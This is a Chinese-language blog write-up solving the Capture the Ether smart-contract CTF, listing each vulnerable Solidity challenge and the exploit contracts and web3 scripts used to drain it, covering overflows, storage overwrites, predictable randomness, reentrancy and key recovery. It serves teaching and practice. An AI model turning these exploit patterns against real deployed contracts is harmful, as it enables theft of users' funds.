人生如崖,我心如潮,纵使撞成万千玉屑,也要重聚神形,一往无前

Writeup | Capture the Ether

Capture the Ether

Capture the Ether 分 Warmup,Lotteries,Math,Accounts,Miscellaneous 5 类,共 20 道题

比较有趣的是,不像 Ethernaut 以 1-10 标记题目难度,在 Capture the Ether 中,每道题有不同的积分,总分是 11600。积分前 100 名的玩家会展示在 排行榜

LeaderBoard

另外,每道题目都有 function isComplete() public returns (bool); 接口,因此题意更加容易理解

1. Deploy a contract

题目

pragma solidity ^0.4.21;

contract DeployChallenge {
    // This tells the CaptureTheFlag contract that the challenge is complete.
    function isComplete() public pure returns (bool) {
        return true;
    }
}

2. Call me

题目

pragma solidity ^0.4.21;

contract CallMeChallenge {
    bool public isComplete = false;

    function callme() public {
        isComplete = true;
    }
}

3. Choose a nickname

题目

要求设置排行榜的昵称

pragma solidity ^0.4.21;

// Relevant part of the CaptureTheEther contract.
contract CaptureTheEther {
    mapping (address => bytes32) public nicknameOf;

    function setNickname(bytes32 nickname) public {
        nicknameOf[msg.sender] = nickname;
    }
}

// Challenge contract. You don't need to do anything with this; it just verifies
// that you set a nickname for yourself.
contract NicknameChallenge {
    CaptureTheEther cte = CaptureTheEther(msg.sender);
    address player;

    // Your address gets passed in as a constructor parameter.
    function NicknameChallenge(address _player) public {
        player = _player;
    }

    // Check that the first character is not null.
    function isComplete() public view returns (bool) {
        return cte.nicknameOf(player)[0] != 0;
    }
}

题解

这里设置的昵称,最终会显示在排行榜

如果已完成题目,但想修改昵称的话,点击题目左侧的 Do It Again 即可

> (web3.utils.asciiToHex('RIPWU')).padEnd(64, '0')
'0x52495057550000000000000000000000000000000000000000000000000000'

4. Guess the number

题目

pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
    uint8 answer = 42;

    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

5. Guess the secret number

题目

要求给出哈希为特定值的一个 uint8 数字

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

题解

uint8 取值空间很小,为 [0, 255],遍历查找即可

可以在 Solidity 中遍历

pragma solidity ^0.4.21;

contract ExploitGuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function guess() public view returns (uint256) {
        for (uint8 n = 0; n < 255; n++) {
            if (keccak256(n) == answerHash) {
                return n;
            }
        }

        return 256;
    }
}

也可以在 js 中通过 web3.utils.soliditySha3() 遍历

for (let i = 0; i < 256; i++) {
    var hash = web3.utils.soliditySha3({type: 'uint8', value: i.toString()})
    console.log(`i:${i} hash:${hash}`);

    if (hash == '0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365') {
        console.log("catched!");
    }
}

注意:soliditySha3() 参数类型容易引起歧义,为免错误,使用时可以强制指定类型

> web3.utils.soliditySha3({type: 'uint256', value: 170})
'0x550d3de95be0bd28a79c3eb4ea7f05692c60b0602e48b49461e703379b08a71a'

> web3.utils.soliditySha3({type: 'uint8', value: 170})
'0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365'

6. Guess the random number

题目

pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

7. Guess the new number

题目

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

8. Predict the future

题目

要求提前给出 guess,至少一轮后开奖

pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

题解

开奖结果依赖于前一区块哈希,和当前区块时间。前者可以获取,并以高 gasPice 发送交易以期在当前区块被打包;但后者由矿工决定,因此无解

只能发多几次交易了..

9. Predict the block hash

题目

要求猜出开奖交易所在区块的哈希

pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

题解

根据黄皮书 BLOCKHASH 的定义,它只能获取最近 256 个区块的哈希,超出时返回 0

\begin{aligned}
P(h, n, a) \equiv \begin{cases} 0 & \text{if} \quad n > H_{\mathrm{i}} \vee a = 256 \vee h = 0 \\ h & \text{if} \quad n = H_{\mathrm{i}} \\ P(H_{\mathrm{p}}, n, a + 1) & \text{otherwise} \end{cases}
\end{aligned}

因此我们可以猜 0 的哈希,然后等 256 个区块..

以太坊出块时间大概是 15 秒,因此等待时间为一个小时左右

10. Token sale

题目

要求获取目标合约的 balance

pragma solidity ^0.4.21;

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}

题解

buy() 函数中的乘法存在溢出

async function main() {
    const targetAddress = '0x546a782986933ff853248E865cC0AFd9fb93a721';
    const targetABI = require('../build/contracts/TokenSaleChallenge.json').abi;
    const targetContract = new web3.eth.Contract(targetABI, targetAddress);

    //
    const Max = web3.utils.toBN("0x10000000000000000000000000000000000000000000000000000000000000000");
    const Ether = web3.utils.toBN(web3.utils.toWei('1'));
    const Zero = web3.utils.toBN('0');
    const One = web3.utils.toBN('1');

    const divmod = Max.divmod(Ether);

    //
    var numTokens = divmod.div.add(One);
    const value = numTokens.mul(Ether).sub(Max);

    await targetContract.methods.buy(numTokens).send({value});
    await targetContract.methods.sell(One).send();
}

11. Token Whale

题目

要求获得超过 1000000 个 token

pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

题解

transferFrom() 检查的是外部传入的 from 的余额,而实际扣款扣的是 msg.sender,存在溢出

pragma solidity ^0.4.21;

import "./TokenWhaleChallenge.sol";

contract ExploitTokenWhaleChallenge {
    TokenWhaleChallenge public target = TokenWhaleChallenge(0x4E12fAB3CF4aF2E96863c26c0949CEE97b092350);
    address public owner;

    function ExploitTokenWhaleChallenge() public {
        owner = msg.sender;
        require(target.balanceOf(owner) == target.totalSupply());
    }

    function attack() public {
        address self = address(this);
        uint256 allowance = target.allowance(owner, self);
        require(allowance > 0);

        target.transferFrom(owner, owner, allowance);
        target.transfer(owner, 1000000);
        require(target.isComplete() == true);
    }
}

12. Retirement fund

题目

要求取出合约实例的全部 balance

pragma solidity ^0.4.21;

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}

题解

collectPenalty() 中的减法操作存在溢出,问题是合约没有显式的 payable receive()payable fallback()

参考 Ethernaut #7 Force,通过 SELEDESTRUCT 强制发送 ETH 即可

13. Mapping

题目

要求修改合约实例的 isComplete (slot0) 状态

pragma solidity ^0.4.21;

contract MappingChallenge {
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }

        map[key] = value;
    }

    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}

题解

类似 Ethernaut #19 Alien Codex,也是覆盖漏洞

> console.log('0x' + (2n ** 256n - BigInt(web3.utils.keccak256('0x' + '1'.padStart(64, '0')))).toString(16))
0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a

14. Donation

题目

要求取出合约实例的全部 balance

pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);

        owner = msg.sender;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);

        msg.sender.transfer(address(this).balance);
    }
}

题解

donate()donation 定义时未指定引用,默认指向 slot0

donation 的修改会覆盖 slot0 和 slot1,即 donations.lengthowner

15. Fifty years

题目

要求取出合约实例的全部 balance

pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
    struct Contribution {
        uint256 amount;
        uint256 unlockTimestamp;
    }
    Contribution[] queue;
    uint256 head;

    address owner;
    function FiftyYearsChallenge(address player) public payable {
        require(msg.value == 1 ether);

        owner = player;
        queue.push(Contribution(msg.value, now + 50 years));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function upsert(uint256 index, uint256 timestamp) public payable {
        require(msg.sender == owner);

        if (index >= head && index < queue.length) {
            // Update existing contribution amount without updating timestamp.
            Contribution storage contribution = queue[index];
            contribution.amount += msg.value;
        } else {
            // Append a new contribution. Require that each contribution unlock
            // at least 1 day after the previous one.
            require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

            contribution.amount = msg.value;
            contribution.unlockTimestamp = timestamp;
            queue.push(contribution);
        }
    }

    function withdraw(uint256 index) public {
        require(msg.sender == owner);
        require(now >= queue[index].unlockTimestamp);

        // Withdraw this and any earlier contributions.
        uint256 total = 0;
        for (uint256 i = head; i <= index; i++) {
            total += queue[i].amount;

            // Reclaim storage.
            delete queue[i];
        }

        // Move the head of the queue forward so we don't have to loop over
        // already-withdrawn contributions.
        head = index + 1;

        msg.sender.transfer(total);
    }
}

题解

漏洞分析

1.覆盖漏洞

upsert()contribution 定义时未指定引用,默认指向 slot0

contribution 的修改会覆盖 slot0 和 slot1,即 queue.lengthhead

因而,可以分别利用外部参数 msg.valuetimestamp 来覆盖它们

2.溢出漏洞

require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

利用方式

发起首笔交易 upsert(1, 2^158 - 86400).send({value: 1}),使得 queue.length 为 2,head 异常

发起第二笔交易 upsert(2, 0).send({value: 2}) 交易,使得 queue.length 为 3,head 重置为 0

此时,withdraw() 计算得到的 total 为 1 ether + 2 wei + 3 wei

但是,目标合约实际 balance 为 1 ether + 1 wei + 1 wei

因此,可以参考题目 12. Retirement fund,通过 SELEDESTRUCT 强制发送 2 wei,使得 withdraw() 交易正常执行

攻击脚本

async function main() {
    const targetAddress = '0x56664296F6d15D6646404a50785d26bE7b4FdeB5';
    const targetABI = require('../build/contracts/FiftyYearsChallenge.json').abi;
    const targetContract = new web3.eth.Contract(targetABI, targetAddress);

    const forceSendEtherAddress = '0x39dCD8014Ce351Db10f655bE71B688f1fA217EdE';
    const forceSendEtherABI = require('../build/contracts/ForceSendEther.json').abi;
    const forceSendEtherContract = new web3.eth.Contract(forceSendEtherABI, forceSendEtherAddress);

    {
        const index = 1;

        const timestamp = 2n ** 256n - 86400n;
        const timestampHex = '0x' + timestamp.toString(16);

        await targetContract.methods.upsert(index, timestampHex).send({value: index});
    }

    {
        const index = 2;

        const timestamp = 0n;
        const timestampHex = '0x' + timestamp.toString(16);

        await targetContract.methods.upsert(index, timestampHex).send({value: index});
    }

    {
        const lowerPaid = 2; // (1 ether + 2 + 3) - (1 ether + 1 + 2)
        await orceSendEtherContract.methods.kill(targetAddress).send({value: lowerPaid});
    }

    {
        const index = 2;
        await targetContract.methods.withdraw(index).send();
    }
}
pragma solidity ^0.4.21;

contract ForceSendEther {
    function kill(address target) public payable {
        require(msg.value > 0);
        selfdestruct(target);
    }
}

16. Fuzzy identity

题目

要求攻击合约地址包含 badc0de

pragma solidity ^0.4.21;

interface IName {
    function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
    bool public isComplete;

    function authenticate() public {
        require(isSmarx(msg.sender));
        require(isBadCode(msg.sender));

        isComplete = true;
    }

    function isSmarx(address addr) internal view returns (bool) {
        return IName(addr).name() == bytes32("smarx");
    }

    function isBadCode(address _addr) internal pure returns (bool) {
        bytes20 addr = bytes20(_addr);
        bytes20 id = hex"000000000000000000000000000000000badc0de";
        bytes20 mask = hex"000000000000000000000000000000000fffffff";

        for (uint256 i = 0; i < 34; i++) {
            if (addr & mask == id) {
                return true;
            }
            mask <<= 4;
            id <<= 4;
        }

        return false;
    }
}

题解

参考黄皮书公式(81),部署合约时,目标地址有两种计算方式,分别为 CREATECREATE2

\begin{aligned}
L_{\mathrm{A}}(s, n, \zeta, \mathbf{i}) \equiv \begin{cases}
\mathtt{RLP}\big(\;(s, n)\;\big) & \text{if}\ \zeta = \varnothing \\
(255) \cdot s \cdot \zeta \cdot \mathtt{KEC}(\mathbf{i}) & \text{otherwise}
\end{cases}
\end{aligned}

容易得到攻击合约和 CREATE2 部署合约的代码如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IFuzzyIdentityChallenge {
    function authenticate() external;
}

contract ExploitFuzzyIdentityChallenge {
    function name() public pure returns (bytes32) {
        return bytes32("smarx");
    }

    function attack(address target) public {
        IFuzzyIdentityChallenge(target).authenticate();
    }
}

contract ExploiterFactory {
    ExploitFuzzyIdentityChallenge public target;

    function createInstance(uint256 salt) public {
        bytes memory initCode = abi.encodePacked(
            type(ExploitFuzzyIdentityChallenge).creationCode
        );

        assembly {
            let result := create2(0x0, add(0x20, initCode), mload(initCode), salt)
            sstore(target.slot, result)
        }
    }
}

关键是找到合适的 Salt,只能暴力搜索了..

async function main() {
    const begin = Math.floor(Date.now() / 1000);

    const creationCode = '0x' + require('../build/contracts/ExploitFuzzyIdentityChallenge.json').data.bytecode.object;
    const factoryAddress = '0x4eC215056652AF2Dc8A1Da9a0BB23b6532dCF9Bf';

    const prefix = '0xff' + factoryAddress.slice(2);
    const suffix = web3.utils.sha3(creationCode).slice(2);

    var salt = 0;
    while (true) {
        const saltHex = salt.toString(16).padStart(64, '0');
        const concatString = prefix.concat(saltHex).concat(suffix);

        const hashed = web3.utils.sha3(concatString);

        // console.log(`salt: ${salt}, hashed: ${hashed}`);

        if (hashed.substr(26).includes('badc0de')) {
            console.log(`salt: ${salt}, hashed: ${hashed}`);
            break;
        }

        salt++;
    }

    const end = Math.floor(Date.now() / 1000);
    console.log(`begin: ${begin}`);
    console.log(`end: ${end} `);
    console.log(`pass: ${end - begin}`);
}

运行结果如下,花了 220 秒

salt: 21456611, hashed: 0x52e1074b007f24bc6a71f04b3bfa44fd90ff849c2f87fcfbadc0de5fc30b6d62
begin: 1629652850
end: 1629653070
pass: 220

题外

上面搜索脚本中,注释了调试日志..

如果打开调试日志,运行结果如下,慢了 20 倍,等了一个半小时才搞定...

salt: 21456611, address: 0x52e1074b007f24bc6a71f04b3bfa44fd90ff849c2f87fcfbadc0de5fc30b6d62
begin: 1629644879
end: 1629650298
pass: 5419

17. Public Key

题目

要求获得给定账户的公钥

pragma solidity ^0.4.21;

contract PublicKeyChallenge {
    address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
    bool public isComplete;

    function authenticate(bytes publicKey) public {
        require(address(keccak256(publicKey)) == owner);

        isComplete = true;
    }
}

题解

在 EtherScan 上查找给定账户,得到从它发起的一笔交易哈希,再通过 eth_getTransactionByHash() 获得交易详情

$ curl 'https://ropsten.infura.io/v3/7044f2db16e84c559b57b67b565be7ae' \
  -H 'authority: ropsten.infura.io' \
  -H 'accept: application/json' \
  -H 'dnt: 1' \
  -H 'content-type: application/json' \
  --data-raw '{
    "id": 0,
    "jsonrpc": "2.0",
    "method": "eth_getTransactionByHash",
    "params": [
        "0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb"
    ]
  }'

{
    "jsonrpc":"2.0",
    "id":0,
    "result":{
        "blockHash":"0x487183cd9eed0970dab843c9ebd577e6af3e1eb7c9809d240c8735eab7cb43de",
        "blockNumber":"0x2e01ab",
        "from":"0x92b28647ae1f3264661f72fb2eb9625a89d88a31",
        "gas":"0x15f90",
        "gasPrice":"0x3b9aca00",
        "hash":"0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb",
        "input":"0x5468616e6b732c206d616e21",
        "nonce":"0x0",
        "r":"0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7",
        "s":"0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962",
        "to":"0x6b477781b0e68031109f21887e6b5afeaaeb002b",
        "transactionIndex":"0x7",
        "type":"0x0",
        "v":"0x29",
        "value":"0x0"
    }
}

交易详情中包含 r, s, v,即椭圆曲线签名,参考 go-ethereumweb3.eth.accounts 相关代码即可求解

// go-ethereum@v1.10.6/core/types/transaction_signing.go

func (s EIP155Signer) Sender(tx *Transaction) (common.Address, error) {
    if tx.Type() != LegacyTxType {
        return common.Address{}, ErrTxTypeNotSupported
    }
    if !tx.Protected() {
        return HomesteadSigner{}.Sender(tx)
    }
    if tx.ChainId().Cmp(s.chainId) != 0 {
        return common.Address{}, ErrInvalidChainId
    }
    V, R, S := tx.RawSignatureValues()
    V = new(big.Int).Sub(V, s.chainIdMul)
    V.Sub(V, big8)
    return recoverPlain(s.Hash(tx), R, S, V, true)
}
// @ethereumjs/tx/dist/legacyTransaction.js

getSenderPublicKey() {
    var _a;
    const msgHash = this.getMessageToVerifySignature();
    // EIP-2: All transaction signatures whose s-value is greater than secp256k1n/2 are considered invalid.
    // Reasoning: https://ethereum.stackexchange.com/a/55728
    if (this.common.gteHardfork('homestead') && ((_a = this.s) === null || _a === void 0 ? void 0 : _a.gt(types_1.N_DIV_2))) {
        throw new Error('Invalid Signature: s-values greater than secp256k1n/2 are considered invalid');
    }
    const { v, r, s } = this;
    try {
        return ethereumjs_util_1.ecrecover(msgHash, v, ethereumjs_util_1.bnToUnpaddedBuffer(r), ethereumjs_util_1.bnToUnpaddedBuffer(s), this.supports(types_1.Capability.EIP155ReplayProtection) ? this.common.chainIdBN() : undefined);
    }
    catch (e) {
        throw new Error('Invalid Signature');
    }
}

18. Account Takeover

题目

要求获得给定账户的私钥

pragma solidity ^0.4.21;

contract AccountTakeoverChallenge {
    address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
    bool public isComplete;

    function authenticate() public {
        require(msg.sender == owner);

        isComplete = true;
    }
}

题解

这题没做出来,参考的是 Smart Contract Exploits Part 3 — Featuring Capture the Ether (Accounts)

19. Assume ownership

题目

要求获得 ownership

pragma solidity ^0.4.21;

contract AssumeOwnershipChallenge {
    address owner;
    bool public isComplete;

    function AssumeOwmershipChallenge() public {
        owner = msg.sender;
    }

    function authenticate() public {
        require(msg.sender == owner);

        isComplete = true;
    }
}

题解

Ethernaut #2 Fallout 一样,构造函数拼写错了..

20. Token bank

题目

要求取出合约实例的全部 balance

pragma solidity ^0.4.21;

interface ITokenReceiver {
    function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
    // Track how many tokens are owned by each address.
    mapping (address => uint256) public balanceOf;

    string public name = "Simple ERC223 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    function SimpleERC223Token() public {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function isContract(address _addr) private view returns (bool is_contract) {
        uint length;
        assembly {
            //retrieve the size of the code on target address, this needs assembly
            length := extcodesize(_addr)
        }
        return length > 0;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        bytes memory empty;
        return transfer(to, value, empty);
    }

    function transfer(address to, uint256 value, bytes data) public returns (bool) {
        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);

        if (isContract(to)) {
            ITokenReceiver(to).tokenFallback(msg.sender, value, data);
        }
        return true;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
        public
        returns (bool success)
    {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
}

contract TokenBankChallenge {
    SimpleERC223Token public token;
    mapping(address => uint256) public balanceOf;

    function TokenBankChallenge(address player) public {
        token = new SimpleERC223Token();

        // Divide up the 1,000,000 tokens, which are all initially assigned to
        // the token contract's creator (this contract).
        balanceOf[msg.sender] = 500000 * 10**18;  // half for me
        balanceOf[player] = 500000 * 10**18;      // half for you
    }

    function isComplete() public view returns (bool) {
        return token.balanceOf(this) == 0;
    }

    function tokenFallback(address from, uint256 value, bytes) public {
        require(msg.sender == address(token));
        require(balanceOf[from] + value >= balanceOf[from]);

        balanceOf[from] += value;
    }

    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);

        require(token.transfer(msg.sender, amount));
        balanceOf[msg.sender] -= amount;
    }
}

题解

TokenBankChallenge.withdraw(uint256) 中存在重入漏洞:

它先发出消息调用 token.transfer(msg.sender) 后修改状态

前者又会发起外部调用 ITokenReceiver(to).tokenFallback(),其中 toTokenBankChallenge.withdraw() 的调用者 msg.sender

即调回了攻击合约的 tokenFallback*(),在其中我们可以再次调用 TokenBankChallenge.withdraw()

pragma solidity ^0.4.21;

interface ITokenBankChallenge {
    function token() external returns (address);
    function balanceOf(address from) external returns (uint256);
    function withdraw(uint256 amount) external;
    function isComplete() external view returns (bool);
}

interface ISimpleERC223Token {
    function totalSupply() external returns (uint256);
    function balanceOf(address from) external returns (uint256);
    function transfer(address to, uint256 value) external returns (bool success);
}

contract ExploitTokenBankChallenge {
    ITokenBankChallenge public bank = ITokenBankChallenge(0xC76B637ce46238c2f2DC4f642316D7536503A844);

    function attack() public {
        ISimpleERC223Token token = ISimpleERC223Token(bank.token());

        uint256 balance = token.balanceOf(this);
        require(balance == token.balanceOf(address(bank)));
        require(balance + token.balanceOf(address(bank)) == token.totalSupply());

        token.transfer(address(bank), balance);
        require(token.balanceOf(this) == 0);
        require(balance == bank.balanceOf(this));
        require(token.balanceOf(address(bank)) == token.totalSupply());

        bank.withdraw(balance);
        require(bank.isComplete() == true);
    }

    function tokenFallback(address from, uint256, bytes) public {
        ISimpleERC223Token token = ISimpleERC223Token(bank.token());
        require(msg.sender == address(token));

        if (from == address(bank)) {
            if (token.balanceOf(address(bank)) > 0) {
                uint256 balance = bank.balanceOf(this);
                bank.withdraw(balance);
            }
        }
    }
}

Writeup | Ethernaut

OpenZeppelin 出品的夺旗赛,共 22 题,覆盖溢出,重入,存储,gas,assembly 等知识点

行为树及其实现

dm-cache源码浅析

kmemcache源码浅析